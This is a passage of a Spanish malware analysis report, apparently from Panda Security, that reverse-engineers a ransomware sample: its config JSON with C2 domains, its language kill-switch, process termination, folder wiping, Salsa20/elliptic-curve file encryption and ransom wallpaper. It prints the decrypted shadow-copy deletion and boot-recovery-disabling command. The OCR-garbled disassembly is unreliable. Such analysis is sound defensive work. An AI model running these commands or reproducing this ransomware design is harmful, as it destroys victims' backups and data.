Figura 5.3.2.8: Carga de librerias.
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Posteriormente, una vez tiene todas las funciones, realizara la explotacion

5.4. Obtencion de Proceso

00228636

€all z27D83 ; _cve 2018 _8453_xB86_exploit

002285EC

mov ebp,esp
push ecx
push ebx
xor ebx,ebx

push esi

xor esi,esi

inc ebx

mov dword ptr ss:lebp— L ebx
cmp dword ptr ss:|lebp+8J,esi
je 228647

002285FF

mov eax,dword ptr l:[z0]

mov dword ptr ds:[228978],eax
€all zzsgoBC

test eax,eax

je 228647

00228613
push esi
lea eax,dword ptr ss:[[ebp-4
push eax
push esi

ush 1025
h dword ptr ds:[ 'stemParametersInfons=]
mov ecx,dword ptr ss:[[ebp+sl

cmp dword ptr ds:[22897C],ebx
jne 228636

0022862F

jmp 22863

00228636

€all zz674E ; _CreacionDeHilo

cmp dword ptr ds:[228974],0

mov esi,eax

cmovne esi,ebx

00228647

mov eax,esi

mov esp,ebp

Bk 5

Figura 5.3.2.9: Esquema de la funcidn del Exploit en x32dbg.

Posteriormente, llegamos a la funcién renombrada a _GetProcessRun, vemos que obtiene un
handle de un Proceso (GetCurrentProcess), puesto que hay un compare, previo al token, si este

ya tiene los datos que necesita del proceso, e ird a la parte final, sino, abre el token del proceso y
obtiene la informacion del Token con GetTokenInformation, posteriormente, cierra el handle. Todas
las operaciones las realiza correctamente ya que al llamar a las funciones devuelve un 1, al ser un
“NONZERO” significara que esta abriendo los procesos correctamente.

© panda
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loc_4@2FER:
call _GetProcessRun

call _PrepareCipher
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push ebp
mow ebp, esp
sub esp, @Ch
and [ebpt+var_4], @
lea eax, [ebptvar_ B8]
push eax
push 3
push [ebp+arg_@]
call OpenProcessToken
test eax, eax
jz short loc_ 483398
L J

I

call GetCurrentProcess Lea eax, [ebp+var_C]

. push eax

mov esi, eax push 4

call sub_4830D3 leah eax, [ebptvar_4]
pus eax

Mo ecx, 688h hush o

cmp ax, cx push [ebp+var_8]

jl’J loc 4BA3ET call GetTokenInformation

Figura 5.4.1: Funcion para obtener un proceso.

Posteriormente, vemos que realiza lo mismo, pero no comprobaria el SID en dinamico, en la funcién
se habra saltado varios pasos y habra llegado al final sin ejecutar nada mas. Pero vemos que hace

uso de GetForegroundWindow y ShellSexecuteW, los cuales, aunque en dindmico no se ejecuten en
este momento, posteriormente se utilizara para captar un proceso que haya lanzado el Ransomware y
ejecutar ciertos comandos.

/5 = 6@;
v a;
/21 = @
GetForegroundWindow(};
8 = &uio:

)

fme me fme s

[

fme e me

[

[
1
(]
Eapn L =~ I~ I e e~ i g I
[ '

while

IshellExecuteExW( (SHELLEXECUTETNFOW *)&vS) )

Figura 5.4.2: Funcién ShellExecuteW.

En la siguiente funcion, principalmente, realiza una desofuscacion y obtendra un explorer.exe, del
cual, comprobara el SID mas adelante, el cual vemos que realizara el JMP ya que al compararlo con el
valor del registro EAX no es igual a 4000, sino 3000.

_PreparacionCifrado proc near
push esi
push edi
call _SnapshotOpenProcessl
loc 4B2FEB: call —JsonTxt
call GetProcessRunf |mov esl, eax
= . test esi, esi
call _PrepareCipher| |5 short loc_48286F
52 op 2Cx
3D 00400000 Eng eax, 4000 | +||_Show FPU
w75 65 Jjne payload_d112_xor_pe.403CAZ
[ED45 ED Teéad eax,dword pLr S&:[Qebp-20] E;; 3223:333
2 L N SR ECX  FFFFEFFF
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if ( DbenProcessToken(a;, 8u, &ve) )

if

eax: L 'EXP- orer . sxas” : GetTokenInformation(vs, TokenIntegritylewvel, &v4, @x4Cu, (PDWORD)&VS) )

vd;
Isvalidsid(va) )
1 = v2[*((unsigned _ intd *}v2 + 1) + 1];

._...
e
I |

eax: L"explorer.exa”

1
. ~ . CIERRA_HANDLE(vG);
edx:L explorer.axe 1
return vi1j

Figura 5.4.3: Obtencidn de explorer.exe.

A consecuencia de esto, se salta todo lo demas y va directamente a la XOR, con lo que, de momento,
solo tenemos un explorer.exe abierto, en el cual se ha comprobado una ID.

|jnz short loc_483CA2 |
_ A J
(il e =
lea eax, [ebptvar_28]
push eax
call _Snapshot
pop ecx
push eax
push a
push 2@00228h
call OpenProcess
mov edi, eax
test edi, edi
jnz short loc_483C5F

lea eax, [ebptvar_4]
push eax

push BF@LFFh

push edi

call OpenProcessToken
test eax, eax

jnz short loc_483C7C

push edi
call  _CIERRA HANDLE
pop ecx
jmp short loc_483C5B
J Y B A 4 ——¥
loc_4@3C5B: loc_483C7C: loc_4B3CA2:
xor eax, eax push esi xor eax, eax
jmp short loc_483CAS| |push [ebp+var_4] inc eax
call ImpersonateloggedOnUser
push edi
mov esi. eax

Figura 5.4.3: Salto al final de la funcidn
5.5. TXT y JSON

En la siguiente rutina, una de las mas importantes en la ejecucion, vemos lo siguiente:

_PrepareCipher proc near
push esi

push edi

call _SnapshotOpenProcess
call _JsonTxt

mow esi, eax

test esi, esi

jz short loc 4@82B6F

Figura 5.5.1: Funcién _JsonTxt.
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Mas adelante, vemos que obtendra informacion relevante, como la extension del fichero, el nombre de
usuario.

_ ¥
] e =
loc_481B42:
call sub_4828AF
Mo ds:41C2B4h, eax
call _Extensicn
Mo ds:41C288h, eax
call _UserName
mow ds:41C2B8h, eax
test eax, eax
jnz short loc_ 481873
A3 ABC24100 mov dword ptr ds:[41C2A8],eax eax:L". vOomee7rv"
ES &EZ230000 call payload_dl1z_xor_pe.403BCE
A3 BSCZ4100 mov dword ptr ds:[41C2B8],2ax eax: L".vomeerrv"
85C0 test eax,eax eax:L". vomeerrv"
« 75 OF jne payload_d172_xor_pe. 401873
A3 BSC24100 mov dword ptr ds:[41C2B8],eax eax:L"infm Limiim"
85C0 test eax,eax eax:L"inf .
75 0OF ine nawvlnad dA112 war ne_4N18732

Figura 5.5.2: Descifrado de la extension de los ficheros y el Username.

El nombre del equipo, el Dominio, el idioma que comprobara si es un lenguaje como el Ruso, el cual,
vemos que es FALSE, la version del SO, espacio en disco **

loc_481873: loc_4p81898: loc_ AB1EAD:

call _MachineName call _Domain call Language

mow ds:41C2BCh, eax Mo ds:41C2C8h, eax |mav ds:41C2C4h, eax

test 23X, eax test eax. Sax tect

jnz short loc 481898) (. _ ! -ES =ax, eax

i jnz short loc_4818AD| jnz short loc_ 4818CA

lea eax, [ebptvar_5@]
push eax
call Disk

imul Ech [ebp+var_5@], 1&h

A3 BCC24100 |mov dword ptr ds:[41C2BC],eax | easc: L™ paerm g - PC™
85C0 test eax,eax _ eax:L"] =P

A3 COC24100
BECO

mov dword ptF ds:f41c3t0],eax
test eax,eax

eax: L"WORKGROUP"™
eax: L"WORKGROUP"

[ R

A3 C4C24100

AN LY BAFLLAI AN AED s T L

mov dword ptr ds: [41C2C4] ,2ax eax:L"en-us"

550 test eax,eax eax:L"en-us"
—— L
OF44CA cmove ecx,edx |ecx:L"true“, edx:L"false"
c1 push ecx ecx:L"true”
.......... e e ¢ 8 e 8
A3 CCC24100 mov dword ptr ds:[41C2CC],eax eax:L"windows 7 Professional”
85CO test eax,eax eax:L"windows 7 Professional™
. TC nC Ama mawvlnad AT713 war na 404 Gnc

Figura 5.5.3: Muestra de varias strings descifradas.
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Como ultima parte de esta funcion, vemos los elementos de todo el txt que distribuira por todas las
carpetas, con nombre info.txt y con las instrucciones para recuperar los archivos cifrados.

13XFQAAAFC

Figura 5.5.4: Fichero txt formado.

2XeMERNZmO

Wpo65 TknwY28qJOXxHoe4Xtes1M=

aAX037Maro

JABAAAAAAAANAAANNAANNNANNBAAN=""

Este Ransomware esconde contenido json cifrado en una de sus secciones. En esta muestra, la seccion

se llama “.grrr”

Observamos una cadena alfanumérica en los primeros 32 bytes que se corresponde a la clave de

cifrado.

< panda
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Name Virtual Size Virtual Address | Raw Size Raw Address Reloc Address | Linenumbers
00000240 00000248 0000024 00000250 00000254 00000258 0000025
Byte[8] Dword Dwerd Dword Dwerd Dword Dword
text 00009974 00001000 00D09ADD 00000400 00000000 00000000
rdata 0DOOFTED 00DOB00D 0DOOF200 00DO9ECD 00000000 00000000
.data 00001330 0DO1BO0D 00001200 00019600 00000000 00000000
.grrr 0000CE00 00010000 0000CE00 0001A800 00000000 00000000
Jreloc 00000s0C 00024000 0DO0DE0D 00027000 00000000 00000000
£

e = ™ P E
Of f=et o1 2 3 4 5 6 7 B8 9 A B C D EF Azcii
ooooooon | 73 68 42 4B 72 34 78 48 44 4D EE 78 52 4B 55 BB =hBEr4=zHIHk=REKUk
oooooolo | 41 77 Y1 75 68 42 72 BB 63 36 48 57 62 66 34 6D AwquhBrEceHWbE 4m
o00000z0 | 2E F3 A9 26 FO 54 00 00 48 FF BE 7D 61 61 BA 17 Lo@EAT . HE L aato
0o0ooo3o | 10 42 FS 10 1B 00 92 D7 C2 FB GE 20 D4 89 2E 7E | 0HE0O . pxdal . Op.~
oooooo4o0 | 88 De EB 97 42 32 89 FF DO 94 36 63 9D 71 SE B4 10E21B21%P16c g’
oooooos0 | 57 61 86 42 B8 EF A0 58 EB7 69 6F A3 0D 8F 33 C1 WalB,i ¥.-iocf. 34
00000060 | OF 3E 03 Bi DS 3E CD EC D2 90 60 FD 44 3B 94 OF |0.0e8:1i0 Tyd 10
oooooo?o | B3 13 7D 60 eC 1D BC 44 F8 93 BF E3 CC BB A8 92 1l Hlel 3.
ooooooso | 23 C5 32 38 C2 46 B2 25 A4 FB AE 43 EF 5EC 6C B3 #E2AF 1 yHaEBCTIN]
ooooooso | 1E 64 02 87 9B DA 29 47 67 C3 ZE BD 75 EE 99 03 d 117)Ggd kuio

Figura 5.5.5: Contenido de la seccion .grr.
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Los siguientes 4 bytes tras la clave son para comprobar que el contenido no ha sido modificado.
Luego, los 2 bytes siguientes indican el tamafio del contenido, y el resto ya forman propio contenido.

int sub_4819D3()

{

int result; // ea»
int vl; // esi

[V TR

o

if ({ sub_484F24(8, &I50N_Content, JIS0N_Length) !'= J150N_Check )
return @;

8| result = sub_48352C(J50N_Length);

g - 1t

]

18| i t )

11| {

12 sub_485eDA(&ISON_Key, 32, &JIS0N_Content, JSON_Length, result);
13 ~esyult = vl;

14| 3}

15| return result;

Figura 5.5.8: Comprobacion de parametros del Json.

Como podemos observar, almacena el json..Tras obtener el contenido descifrado, podemos ver que
contiene diversos campos con valores asignados.

"pk”: "GadtWz2QBTacskL+55Wpob5TkwY28gq]0xHoedXte81M="",
"pid”: "18",
"sub": "7"

"dbg" :
“"fast":
"wipe™:
"wht": {

Figura 5.5.9: Valores asignados del Json.

Estos valores se corresponden a la configuracion del Ransomware. Es decir, el malware consultara
dichos campos para saber qué operaciones puede o no realizar, sobre que ficheros o directorios debe
realizar las operaciones, sobre que procesos, etc.

"wfld™: [
“backup™
"mysql.exe”
1,
"dmn”: "lyricalduniya.com;theboardroomafrica.com;chris-anne.com;
"net": true,
“nbody™: "SABlAGwWAbABVACAA7ABIAGEAcgAgAGYAcgBpAGUAbgBkACEADQAK
"nname™: "{EXT}.info.txt
"exp”: false,
"img": "WQBvAHUAcgAgAGYAaQBsAGUACWASAGEAcgBIACAAZQBuAGMAcgB5AH!

¥

Figura 5.5.10: Valores asignados del Json.

Vemos que en el campo “nname” tenemos {EXT}.info.txt. {EXT} serd reemplazado por la cadena
aleatoria que se generara en tiempo de ejecucion.
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A continuacion, se muestra una tabla con la definicién de cada uno de los campos del JSON.

pk Clave publica del atacante ofuscada en Base64.

Identificador para el envio de datos a los servidores C2. Unicamente se emplea si el

pid campo “net” esta configurado a “true”.
sub Identificador para el envio de datos a los servidores C2. Unicamente se emplea si el
campo “net” esta configurado a “true”.
db Valor utilizado por el autor del malware. Se hace referencia a él cuando trata de de-
g terminar si la victima es Rusa.
fast Valor que determina como se deben cifrar los ficheros mas grandes de 65535 bytes.
wipe Valor que determina si el ransomware debe eliminar los directorios especificados en
P el campo “wfld”.
Lista de valores que no debe cifrar:
wht ext - Extensiones
fld - Directorios
fls - Ficheros
wfld Lista de exclusion de ficheros a eliminar si el campo “wipe” contiene el valor “true”.
prc Lista de exclusion de procesos a finalizar si estan en ejecucion.
dmn Lista de los servidores C2 a los que puede contactar el ransomware.
net Valor que determina si el ransomware debe enviar informacion basica del host y del
malware a los servidores C2.
nbod Nota de texto ofuscada en Base64 que sera dropeada en los directorios cuando los
y ficheros sean cifrados.
nname Nombre del fichero que contendra la nota definida en el campo “nbody”.
ox Valor que determina si el ransomware debe escalar privilegios mediante la explota-
P cion de una vulnerabilidad LPE.
img Texto ofuscado en Base64 que contendra la imagen de fondo de escritorio que sera

establecida durante el cifrado.

5.6. Lista de idiomas excluidos

Para el teclado, vemos que utiliza una lista de exclusiones, obtiene una lista con los identificadores de
las distribuciones de teclado establecidas mediante GetKeyboardLayoutList, en el cual ira recorriendo
los idiomas para comprobar los que se admiten, para ello realiza un switch con todos los idiomas, esto
se utilizara mas tarde para el txt.
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switch ( al )

{
case @xl8: Rumano
= 8; case Bx19: Ruso
1 = @etKeyboardLayoutList(e, @); case @x22: Ucraniano
02 o= wl; case @8x23: Bielorruso
if ( vl ) case 8x25: FEstonio
return @; case @x26: Letdn
3 = (HKL *)sub_48352C(4 * v1); case Bx27:  Lituano
4 = (int)v3; case @x28: Tajiki Persa
if (v ) case @x29: Persa
return Be case 8x2B: Armenio
\ * . ) . . case @x2C: Azerbaiyano
if ( !GetKeyboardlayoutlist{v2, v3) || v2Z <=8 ) cace @x37: Georm%:o
case Bx3F: Kazajo
LABEL_7: ) case @x48: Kirguis
LIBERA_HEAP(v4); case @x42: Turcomano
return 8; case @x43: Uzbeko
case @x44: Tirtaro
while { !LangExcFunc({*{_WORD *)(vi + 4 * vB)) ) ~esult = 13
break;
if ( +ve w= w2 ) default:
goto LABEL_7; “esult = 8
} break;
return 1; ¥ .
} return result;

¥
Figura: 5.6.1: Obtencidn de la Lista de exclusion de Idiomas.

Si alguno de la lista obtenida coincide con alguno de los que podemos observar en la imagen anterior,
el malware termina su ejecucion. Esto hace inmune a aquella victima que tenga alguna de las
distribuciones que se observan.

5.7. Lista de Procesos a finalizar

En este caso, vemos que realiza una “foto” de los procesos que estan en “running” en nuestro sistema
actualmente, los recorrera y los compara con los procesos especificados en el campo “prc” del JSON;
Si coinciden, los finaliza. En nuestro caso, como hemos visto en el punto anterior solo tendriamos
contemplado mysql.exe.

3 o= @;
4 = CreateToolhelp32Snapshot(2u, @);
if ( v4 == (HANDLE)-1 )
return @;
/7 .dwsize = 556;
for ( 1 = Process32FirstW(v4, &v7); i; 1 = Process32NextW(ve, &v7) )
{ - - - -
v3 = a3(az, &7);
if (w3 )
{
if (&1 )
break;
b

CIERRA_HANDLE(v4);
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78 02 00 00
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65 00 00 00
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oo 00 00 00
08 00 00 00

o0 o0 00D 00

T T W L

2C| 02 00 00
o0 00 00 00
oo 00 00 00

65 00 00 00

o0 00 OO0 00
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Lo 00 g2 00
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Bt i e e

Figura 5.7.1: Obtencion de la Lista de Procesos.

5.8. Borrado de ShadowCopies

Una vez llegado a este punto, realizara una funcién, renombrada a _DeleteShadow.

loc_482B22:

push offset sub_ 482443
push edi

push edi

call _SnapshotBlacklisted
add esp, @Ch

call _DeleteShadow

cmp ds:41C31Ch, edi

jz short loc_482B43

Figura 5.8.1: Muestra de la funcién renombrada _DeleteShadow.

En esta veremos como, ird desofuscando strings interesantes, que ejecutara mas adelante.

La string mas importante y ya conocida en estas familias de Ransomware, como es el vssadmin.
exe para eliminar las copias de seguridad del sistema, de este modo, no se podra volver a un punto
anterior del sistema operativo y el atacante se asegura que tengas que pagar.

Cc;S=DEC|D018FDFC L"jg vqsqg@jn.ex& De]g;g_gbgdnws FAT1T1 fQuiet & bcdedit fset {default} r

“0018FDEO 0018FDFC L” /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bededit /

set {default} bootstatuspolicy ignoreallfailures

ff cmd.exe

sodin_
"i:E

9993

ecrypt_string((int)&unk_ 418838, 1433, 18, 14, (int)

ff fc vssadmin.exe Delete Shadows fAll fQuiet &
/{ bcdedit /set {default} recoveryenabled No &
!/ bededit /set {default} bootstatuspolicy ignoreallfailur
sodin_decrypt string{(int)&unk 41B833, 1128, 16, 292, (int

LA WA LA LA LA LA LA LA LA LA LA WA LA LA R T

B = & & & & & & & & & & & @ & & &
(=]

result =

.1pFile =
Apverb =
.1pDirectory = 8;
.nShow =
hInstépp =
.1pIDList =
.1pClass =
.hkeyClass
.dwHotley = 8;
.hIcon =
.hProcess =
.lpParameters =

.ch5ize = 6@;
= @;
TMask = @;
Jhwnd = GetForegroundWindow();
(LPCWSTR)V3;

=H
2H

a;

a;
H
= E‘i

H
8;

(LPCWSTR)v1;

ShellExecuteExW(&vs);

Figuré 5.8.2: Desofuscado del comando para la eliminacién de ShadowCopies.
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Vemos que realiza un GetForegroundWindow, da prioridad a la ventana que se esta ejecutando en ese momento,

al haber hecho un OpenProcess nuevo de explorer.exe y que tiene los permisos suficientes, hace el ShellExecute
como explorer.exe

Xor esi, esi

mow [ebpt+var_58], ax
mowv [ebpt+var_38], esi
call GetForegroundWindow

Figura 5.8.3: Muestra funcidn GetForegroundWindow.

Posteriormente, lanzara el comando que hemos visto anteriormente.

loc_4@3783:

lea eax, [ebpt+var_3C]

push eax

call ShellExecuteExh

test eax, eax

jz short loc_4837@3
—

Figura 5.8.4: Muestra ShellExecute.

5.9. Vaciado de carpetas

En esta funcion que se encarga de recorrer todas las carpetas de nuestro sistemay vaciandolas para
posteriormente lanzar el .txt que tiene preparado, dejando en las carpetas, solamente archivos
cifrados y un txt con las instrucciones, posteriormente, empezara con el cifrado.

Esta funcion recorre todos los directorios y los compara con los especificados en el campo “wfld” del
JSON; Si coinciden, los elimina.

“wfld": [
“backup”

AGUAbgBRACEA

AGMACgBSAHAN

call _SnapshotProc
add esp, @8Ch

call _DeleteShadow
cmp ds:41C31Ch, edi

jz short loc_482B43

§ ] |

P

call _WipeFolders
X

5.9.1: Muestra de la funcién para el vaciado de carpetas.
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5.10. Cifrado

El cifrado se compone de 4 partes:

bl e

Crea estructura de lista
. CompletionlOPort para

los ficheros

Introduce en memaoria

Cifrado —— contenido del fichero

TXT y CipherRoutine

Cola con CompletionlOPort
Preparacion de Keys
Cifrado de Ficheros (Salsa20)

Liberacion de fichero, key escrita al final del fichero y renombrado

Genera las Key tanto para el
fichero como las
Publicas/Privadas que utiliza,

usando AES + Curva

Recoge Handle del fichero a

cifrar
‘ . Recorre Dirs y SubDirs
Obtlene un disco en el v
droppeando TXT
que pueda acceder
rescate Introduce los datos en la

I0CompletionPort

Cuando vaya a cifrar el fichero,
J hara un CallPost a la lista, llamara

EnumeraDisco

CifraUnidad CipherRoutine CompletionTurineStub y cifrara

fichero con 5alsa20

Metera KeyPublica (nica del
“—— fichero al final tras el cifrado,
soltara el fichero y lo renombrara

5.10.1: Esquema de la rutina de cifrado.

Este Ransomware, en todo momento hace uso de varios Hilos (Threads) para realizar su cometido,
agilizando de esta forma el cifrado.

En primer lugar, antes de comenzar el proceso de cifrado anade a la pila CompletionRoutineStub, que
es la rutina que contiene las llamadas a las funciones de cifrado.

Una vez afiadida, se creara una estructura de cola con CreatelOCompletionPort. Esta cola permitira

push ebp

mov ebp, esp

sub esp, 3Ch

lea eax, [ebpt+var_C]
push esi

xor esi, esi

push offset CompletionRoutineStub

5.10.2: Muestra de la funcidn que afiade a la pila CompletionRoutineStub.

gestionar los handle de los archivos que sean necesarios cifrar. Para ello recibira el nimero de hilos, la
KEY y el handle. Posteriormente, introducira la estructura en un hilo.

< panda

loc_4@5883: 3 NumberOfConcurrentThreads
push [ebptiumberOfConcurrentThreads)

push a 3 Completionkey

push @ ; ExistingCompletionPort
push @FFFFFFFFh ; FileHandle

call CreateloCompletionPort

5.10.3: Muestra de la funcién que crea la estructura para los I0CompletionPorts.

a WatchGuard brand
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Una vez afiadida, introducira en memoria los datos del fichero de rescate (CreateRescueFile) y la rutina
de cifrado (CipherRoutine), posteriormente, procede a recorrer los discos que hay en el sistema, esto
lo realizara con la funcién renombrada a EnumeraDisco, hasta que encuentra uno valido en donde
poder comenzar con el cifrado. Esta rutina, recorrera los directorios y los elegira para, posteriormente,
dejar el fichero txt de rescate tanto en estas carpetas como en las subcarpetas

mav [ebptvar_14], offset CreateRescueFile
mow [ebptvar_18], offset CipherRoutine ; quequee routine
call EnumerabDisco
lea eax, [ebptvar_3C)
push esi
push eax
call EnumeraRed
- .un J.rl ’ |_ll.l:lll Jr.l
. SF pop edi
.~ EB 23 gmp payload d112 xor_pe.485DBB
FF--—— > pFF 15 C4 B6 41 88 |rcall dword ptr ds:[<&GetDriveTypel]
| - |83 €A FE add eax ,FFFFFFFE
I . |83 F8 a2 cnp eax,?
[ | FF BB Ja payload dl12 xor pe.485D81
||| . | FF 75 o8 push dword pty ss:i[ebp+8]
I . | 56 push esi |
I ! - |E8 75 FC FF FF call <payload_dl112_ xor_pe.sub_LB5974>
R . |59 pPoOp ecx
] ! .| 59 pop ecx
I | s--- > | 66 FF 46 88 inc word ptr ds:[esi+8]
I . |33 CA XOr pax,eax
| . |66 89 46 BE mov word ptr ds:[esi+E],ax
| —— > | 56 push esi
| . | 66 39 7FE B8 cmp word ptr ds:[esi+8],di
L =76 D6 Ljbe payload dl12 xor pe.485CES8
. E8 62 D8 FF FF call <payload dll12? xor_ pe.sub 483579
. 59 pop ecx
&66:FF46 0B inc word ptr tl-s-;-:-es_'i_—-é:__" esi+8zL"C "
33C0 Xor ed4dx,eax
66158946 0OE mov word ptr ds:[esi+E],ax
push esi esizL™ AR
cmp word ptr ds:[esi+&8],di esi+8iL"C: W\ "

jbe payload_dl112_xor_pe.405CES
5.10.4: Muestra de la funcidn para la enumeracién de discos y directorios.

Genera la extension de cifrado la cual utilizara para renombrar los archivos afectados por el cifrado.
Como vemos, recoge el parametro “*”, que significa que recogera todos los ficheros posibles y se
apoyara en la funciéon _FindFile paraello

call sub_4848E3

mov [esp+278h+var_278], offset asc_4@B248 ; "*"
push esi

mov [ebptvar_14], eax

call add_extension

pop BCK

pop BCXK

lea eax, [ebpt+var_268]

push Eax 3 _DWORD
push esi ; _DWORD
call _FindFile

mov [ebptarg_4], eax

cmp eax, @FFFFFFFFh

jz loc_485B37

5.10.5: Muestra de la funcidn para cambiar la extensién de los ficheros.
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Antes de cifrar, como hemos comentado antes, recorre la unidad y todos los directorios, copiara de
memoria la informacidn que ya tiene almacenada del TXT y lo ird escribiendo en cada una de las
carpetasy subcarpetas.

Una vez tiene todas las carpetas con todos los TXT, entrara a la rutina de cifrado, en la que contiene

| 15225.0nfo bt

ES8 1C230000 call payload_dl112_xor_pe. 404834

FF35 AOC24100 push dword ptr ds:[41C2A0] 0041C2A0: &L"15225 . info. txt"
1 push esi esi i LWV PANC WPy thon2 7/
ES 4C220000 call payload_dll12_xor_pe. 404776

5.10.6: Muestra de la escritura de un fichero cifrado en tiempo de ejecucion.

funciones como la que genera las Keys, antes de generar claves, comprobara si la extension del fichero

es valida para cifrar de entre las que se encuentran en el archivo de configuraciéon JSON. En primer
lugar, comprobara que el tamafio del archivo a cifrar es menor que 1048576 bytes.

“"wht": {
“f1d":

"appdata”,"google”, "msocache”,"mozilla", "program files","windows","perflogs”,
"application data”,"windows.old","system volume information™,"program files (x86)",
"$windows.~ws","intel”, "$recycle.bin”, "$windows.~bt", "programdata™, "boot","tor browser"

"ntuser.dat.log", "bootsect.bak”,"ntuser.dat”,"iconcache.db”,"ntldr",
"autorun.inf”,"boot.ini","bootfont.bin", "desktop.ini", "thumbs.db","ntuser.ini”

"nomedia”
"theme™,

5.10.7: Muestra de las extensiones, directorios y ficheros que no deben ser cifrados.
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arg_8= qword ptr 18h
push ebp
mowv ebp, esp
cmp dword ptr [ebptarg_8+4], @
push ebx
push esi
push edi
mow edi, 1848576
jig short loc_4825FD
Y
[l i =]
jl short loc_4825FA ; tamafic archive
[l e 5=
cmp dword ptr [ebptarg 8], edi
jnb short loc_4825FD
Yy
[l s =
loc_4@25FA: ; tamafioc archive
mowv edi, dword ptr [ebp+arg 8]

31’:1

5.10.8: Muestra de la funcién que comprueba el tamafio de los ficheros.

42

pandasecurity.com/es/business/



Si lo es, crea un handle del fichero indicando en el parametro dwDesiredAcces el valor (48000000h).
Este valor es el indicativo de dos atributos. El primero correspondera a FILE_FLAG_OVERLAPPED
(0x40000000), el cual indica que el archivo se tratara de forma asincrona. De esta forma se afiadira

el buffer del archivo a la cola creada por los IOCompletionPorts donde sera cifrado su contenido. El
segundo valor (0x08000000) coresponde a FILE_FLAG_SEQUENTIAL_SCAN, el cual indica que el acceso
al archivo sera secuencial de principio a fin.

A continuacion, el Ransomware generara una Key Unica para cada fichero. Las Key las genera
utilizando AES y Curva eliptica, generara claves Privadas/Publicas tanto del afiliado como del
developer, generara otra pareja de claves para el usuario, se cifrara la PrivateKey del usuario con la
publica del afiliado con AES, ciframos de nuevo la PrivateKey del usuario, pero esta vez con la plblica
del developer, eliminamos esta PrivateKey del usuario de memoria y guardamos las 2 PublicKey del
afiliado y developer, ademas, quedara la PublicKey del usuario también.

Al cifrar un fichero, generara otro par de claves Unicas por fichero, de las cuales, solo se utilizara la
privada, con esta, generara una SharedKey utilizando la PubKey del usuario, realizara un SHA3 de
esa shared y cifrara el fichero, posteriormente, guardara la PubKey del fichero al final cuando ya esté
cifrado.

Posteriormente, [lamara a la rutina CompletionRoutineStub previamente afiadida a la pila. Esta rutina
hara uso de los CompletionlOPorts para poder realizar el cifrado mediante la creacion de distintos
hilos, en los cuales, ira introduciendo en hilos distintos cada fichero a cifrar usando un método POST.

Por lo que tendremos un Hilo global donde habra una estructura con la informacion del fichero

y mientras, iran creandose varios hilos con distintas colas de ficheros a cifrar, por lo que, en todo
momento, veremos, de forma asincrona, como se introducen los ficheros en hilos por un lado y como
se van llamando, cifrando y cerrando por otro.

CallPostQueuedCompletionStatus proc near

arg_@= dword ptr &8
dwNumberOfBytesTransferred= dword ptr ©Ch
dwCompleticnkKey= dword ptr 18h
lpoverlapped= dword ptr 14h

push ebp

mow ebp, esp

push [ebp+lpOverlapped] ; lpOverlapped
mov eax, [ebptarg_®]

push [ebp+dwCompletionkey] ; dwCompletionkKey

push [ebp+dwNumberOfBytesTransferred] ; dwNumberOfBytesTransferred
push dword ptr [eax+4] ; CompletionPort

call PostQueuedCompletionStatus

5.10.9: Muestra de la funcidn para ejecutar la funcion de cifrado mediante CompletionlOPorts.
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Una vez tiene el fichero en cola, lo llamara y cifrara con Salsa20.

WORD }v14;
V15 WORD }v14;
while ( 1 )
1
vE = B;
salsa2® wordtobyte((int *)v14, (const wveoid *)al);
(7 = (*(_DWORD *){al + 32))++ == -1;
if ( w7 )
++*(_DWORD *)(al + 36);
if ( vd <= Bxdd )
break;

-
Wi L e

WS a;

do

{
vle = &vld[va++];
vle[vl?] = *vie ~ v1e[vs];

1

while ([ v2 < 64 );

vl -= Bd;

v17 += B4

vS = ai + 64;

a2 += Bd;

v15S += Bd;

a3 += 64;

if (va )
1

11 WORD }v1d;
WORD }vid;

WORD)vi14;

::5 a2 - (_|

do

nonon
)
1
—
|
o Qg

13 = &v14[ve+];
v13[v12] = *vi13 ~ vi3[v1l];

vl w163

while ( ve < w4 );
1
5.10.10: Pseudocddigo del algoritmo de cifrado.

Finalmente, como hemos dicho anteriormente, introducira la PubKey del fichero (Unica para cada
uno) al final de todos ellos. Acabara liberando el fichero y, por Gltimo, modificara su extension.
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5.11. Bitmap

La funcion para preparar el bitmap que pone como fondo de escritorio, crea un “bitmap” compatible,
creandolo eligiendo fuentes, pixels, etc. Lo va construyendo mediante un bucle, afiadiendo caracteres
y la frase final para que vayamos a la nota de rescate

FF15 74874100
ES 3BFDFFFF

0041C2A4: & "Your Tiles

if { result
{
v2 = CreateCompatibleDC(result);
w29 = w2;
if ( w2 )
1
v3 = GetDeviceCaps(vl, 8);
vd = v3;
v27 = v3;
V3B = 18;
v5 = GetDeviceCaps(vl, 18);
w32 = v5;
ve = CreateCompatibleBitmap(vl, w4, v5);
w28 = vi;
if ( ve )
1
SelectObject(v2, vE);
v7 = GetDeviceCaps(vl, 98);
v = MulDiv(18, v7, 72);
v25 = -v8;
|..9
vIid = g}.
ZB4D EO sub ecx,dword ptr ss:[lebp-zof
S0 push eax
6A FF push FFFFFFFF
FF35 A4C24100 push dword ptr ds:[41C2A4]
£94D DO mov dword ptr ss:|[lebp-zof,ecx
S& push esi

€dll dword ptr ds:[<&DrawTextW=]
€all payload_dll1z_xor_pe. 403183

are encrypted!

0041C2A4:&L"

Open ed4cqobvso.

= CreateFontwW(-v&, @, @, @, @, @, @, @, 1u, @, @, 4u, @, @);

Your Tiles are encrypted! Open

info.txt!™

01EAGE40| 00 00 OO0 00|00 00 00 OO|EC S5C 37 49|38 00 00 1A|........ INFIS8...
01EAGBS0 |58 00 &F 00|75 00 72 00|20 00 &6 00|69 00 &C OO|M.o.u.r. .F.i.1.
01EAGBG0D| &5 00 73 00|20 00 61 00|72 00 &5 00|20 00 &5 0O0|e.5. .d.r.e. ..
01EAGEFO|6E 00 &3 00|ZZ 00 79 00|70 00 74 00|65 00 64 0O0|n.c.r.y.p.t.e.d.
01EAGES0 |21 00 20 00|4F 00 70O O0|&5 OO0 &E 00|20 00 &5 0OO0|!. .O.p.e.n. .e.
01EAGE90| 34 00 &3 00|71 00 &6F 00|82 00 F& 00|35 00 &F 0O0|4.C.q.0.b.v.5.0.
01EAGBAD|2E 00 &9 00|GE 00 &6 00|&F 00 ZE 00|Z il ..i.n.f.o.. . T.x%.
01EAGEBBO |74 00 Z1 00|00 00 AE AE|AE AE ABE AE|AE AE EE FE|T.!...sescccaaip
01EAGECO| 00 00 OO 00|00 00 00 OO|A6 S5C 34 00[(20 00 OO0 OO|........! -

Eax: L Ci\\UEers\ \AppData\\Local'\Temp\\zaoiexao08r.bmp"

ecx:L"zaoi6xao08r. bmp™

